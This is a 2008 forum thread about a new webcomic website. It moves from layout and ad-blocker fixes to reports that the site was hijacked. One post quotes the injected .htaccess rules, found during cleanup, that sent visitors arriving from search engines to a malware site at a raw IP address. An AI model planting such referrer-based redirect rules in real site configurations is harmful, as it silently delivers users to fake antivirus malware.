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Last post Author Topic: new birdy comic website from nudone and timns  (Read 50839 times)

nudone

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Re: new birdy comic website from nudone and timns
« Reply #25 on: August 10, 2008, 01:32 PM »
i've made a few changes to the appearance of the website, hopefully, covering the points Deozaan and mouser made above.

for those of you using an ad blocker like you Deozaan, you should see something else so the site shouldn't look so weird with large blank spaces.

mouser

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Re: new birdy comic website from nudone and timns
« Reply #26 on: August 10, 2008, 01:41 PM »
right well i see one big problem now.
the site looks too good.. no one is going to believe you aren't one of the top web designers on planet.

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #27 on: August 10, 2008, 06:39 PM »
i've made a few changes to the appearance of the website, hopefully, covering the points Deozaan and mouser made above.

for those of you using an ad blocker like you Deozaan, you should see something else so the site shouldn't look so weird with large blank spaces.

Hmm, well now it looks even more strange.

Head in the Clouds Top Banner Weirdness.pngnew birdy comic website from nudone and timns

I think the RSS and e-mail subscription images are supposed to highlight when you mouse over them, but here's what happens: The buttons at the top (where the ad banner should be) are the actual links that you are able to click. But when you mouse over them, the image disappears, probably in an attempt to show the "highlight" image, which is down below with the title banner.

But the images down below with the title banner aren't clickable.

mouser

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Re: new birdy comic website from nudone and timns
« Reply #28 on: August 10, 2008, 06:42 PM »
deo thats just your ad blocker messing with that top banner.

ps. nudone i dont know if this well help you but you should go into your html and css
and replace every occurence of "banner" with "bnr" or something like that.

not to defeat the ad blockers but because some ad blockers and other security apps will hide REAL content if the word "banner" is in the css class, etc.  i found that out the hard way when i called the top image on the donationcoder web pages "topbanner".
« Last Edit: August 10, 2008, 06:44 PM by mouser »

nudone

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Re: new birdy comic website from nudone and timns
« Reply #29 on: August 11, 2008, 01:25 AM »
thanks, but i already know the tip about changing the word "banner" as it's something i tend to spot using maxthon - i've had to give the advice out several times on this forum (i also gave it to DC as that used to use the word "banner" in the header image as you pointed out).

the problem is that there is no word "banner" in the adsense banners nor in my files so i'll have to use another method.

edit:
thanks for pointing out the problem. i've installed adblocker plus now so i can test things properly.
« Last Edit: August 11, 2008, 01:32 AM by nudone »

nudone

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Re: new birdy comic website from nudone and timns
« Reply #30 on: August 11, 2008, 02:04 AM »
the subscribe buttons should now be back in the right place.

i had put some images under the adsense banners hoping that they would appear when 'adblocker plus' removed things, but it appears to remove everything so the empy spaces remain at the moment. i'll try and fill them somehow.

allen

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Re: new birdy comic website from nudone and timns
« Reply #31 on: August 25, 2008, 01:53 PM »
I was blown away by Codex Transportica, it's one of my favorite blogs -- so when I (Yes, a month late) stumbled upon your announcing a comic I shouldn't have been surprised at how great it was... but I was surprised. Again, blown away.  Comic strips online are a dime a dozen these days, it's rare to see something that is of such quality. Even the "quality" comics seem to start out rocky and slowly get their act together as they gather a readership, but yours started out sharp. The writing and art alike are subtle, simple--but not too.  Very well done!

nudone

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Re: new birdy comic website from nudone and timns
« Reply #32 on: August 25, 2008, 02:28 PM »
thanks very much for saying so allen. that's a great recommendation, the highest we've had so far i think.

i'm sure timns will want to say something too about your comment.

timns

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Re: new birdy comic website from nudone and timns
« Reply #33 on: August 26, 2008, 01:14 AM »
Indeed I do have something to say, although it may not add much: thank you, thank you! 

It makes me very happy to think that folks are actually enjoying the strip maybe as much as I am enjoying writing it. Nick makes it really come to life with his illustrations, ideas and feedback - since he started drawing out some of the strips, I've become positively prolific! We have around 80 strips in the pipeline at the moment.

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #34 on: November 18, 2008, 09:15 PM »
Hmm... I just saw the latest comic from the RSS feed, "K.I.S., Cobbe" but it didn't actually load the image. So I clicked on the link to view the strip and it took me to some malware website.

So either feedburner got hijacked or your website did.

timns

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Re: new birdy comic website from nudone and timns
« Reply #35 on: November 19, 2008, 01:09 AM »
I get the same feed, so I just re-checked the link. Right now it took me (via a redirection from FeedBurner) to our own site as expected. But we're glad of the heads up!

When you say malware, was it actually a site trying to do something nasty to you, or just one of those annoying sites that's packed full or useless irrelevant links and adwords? Because if so, that's just our ISP's standard 404 page. HITC was down briefly yesterday.

Thanks,
timns

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #36 on: November 19, 2008, 01:34 AM »
It had a popup window saying that malware could be bad for my computer and offered to do a virus scan on my PC.

It's definitely malware.

Head in the Clouds Malware.pngnew birdy comic website from nudone and timns

Head in the Clouds - Microsoft Security Warning.pngnew birdy comic website from nudone and timns

Head in the Clouds - Antivirus Malware.pngnew birdy comic website from nudone and timns

The above screnshot is shown so you can see the URL it sends me to. Once I closed the window, it automatically tried to get me to download a file:

Head in the Clouds - More Malware.pngnew birdy comic website from nudone and timns
« Last Edit: November 19, 2008, 01:35 AM by Deozaan »

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #37 on: November 19, 2008, 01:43 AM »
Also, I figured I should note that this is from Google Reader. None of the images are loading properly anymore and the URL the words "Monday, Monday" links to when I click is shown in the Address Bar.

It says Head in the Clouds in the URL, but it takes me to that malware site.

Head in the Clouds - Google Reader Feed.pngnew birdy comic website from nudone and timns

f0dder

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Re: new birdy comic website from nudone and timns
« Reply #38 on: November 19, 2008, 01:59 AM »
Deozaan: I just manually typed in the looong feedburner RSS URL from your google reader screenshot, and it works just fine here. Perhaps something is wrong with google reader, or somebody has done some DNS poisoning?
- carpe noctem

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #39 on: November 19, 2008, 02:16 AM »
Deozaan: I just manually typed in the looong feedburner RSS URL from your google reader screenshot, and it works just fine here. Perhaps something is wrong with google reader, or somebody has done some DNS poisoning?

It must be Google Reader. I just typed it in too and it took me to the appropriate website. Anyone know what can be done to notify Google about this?

timns

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Re: new birdy comic website from nudone and timns
« Reply #40 on: November 19, 2008, 02:25 AM »
Dangit. It's lucky you guys are really on the ball and taking all precautions. I just hope to god that no-one fell for it... :(

Carol Haynes

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Re: new birdy comic website from nudone and timns
« Reply #41 on: November 19, 2008, 03:05 AM »
Two great site - they both look amazing. I am a little jealous as I just don't have your imagination!

timns

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Re: new birdy comic website from nudone and timns
« Reply #42 on: November 19, 2008, 03:39 AM »
Thank you for your kind words!

Being hijacked is a hell of a way to get the sites noticed  :mad: I usually prefer if people just "stumble" us ;)

timns

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Re: new birdy comic website from nudone and timns
« Reply #43 on: November 19, 2008, 04:12 AM »
Here's what I just found on the hitc website's .htaccess file:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

In other words some Moldavian son-of-a-biscuit is redirecting our incoming traffic to their malware site.

This is now cleaned up, but we're down at the moment doing damage assessment.

I gather this is happening with other sites also, so please spread the word!

nudone

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Re: new birdy comic website from nudone and timns
« Reply #44 on: November 19, 2008, 04:39 AM »
i can also confirm that Google Reader is now displaying the correct head in the clouds feed - with working links.

so it would appear the above .htacces problem was related to the google reader problem.

there doesn't appear to be much information on this online, just people providing explanations that the local machine must be infected - this obviously not being the case.

f0dder

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Re: new birdy comic website from nudone and timns
« Reply #45 on: November 19, 2008, 04:43 AM »
Interesting, it only tries to redirect if coming through one of those sites?

To me it would seem like the HITC site was exploited - perhaps a wordpress vulnerability?
- carpe noctem

timns

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Re: new birdy comic website from nudone and timns
« Reply #46 on: November 19, 2008, 04:59 AM »
I have about a dozen sites, some WP, some not, and all of them had had the .htaccess file rewritten. I have some boob on live chat right now at my ISP's HQ, blithering about how it must be my fault - after having just said that many other of their sites had also been hacked.  Genius :Thmbsup:

f0dder

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Re: new birdy comic website from nudone and timns
« Reply #47 on: November 19, 2008, 05:05 AM »
Ah, perhaps they were hacked and mass-defaced, then :)

Better find out how the badguys came in, anyway.
- carpe noctem

Deozaan

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Re: new birdy comic website from nudone and timns
« Reply #48 on: November 19, 2008, 03:55 PM »
Being hijacked is a hell of a way to get the sites noticed  :mad: I usually prefer if people just "stumble" us ;)

It didn't take being hijacked for me to notice HitC. I've been a silent follower of HitC and the Codex ever since they were announced here. :Thmbsup:

timns

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Re: new birdy comic website from nudone and timns
« Reply #49 on: November 20, 2008, 01:04 AM »
Thank you for your support.  :)

And I'm sure glad you started shouting when you saw that malware site. I just hope nobody made the mistake of clicking on anything. In my case, Google itself warned me off.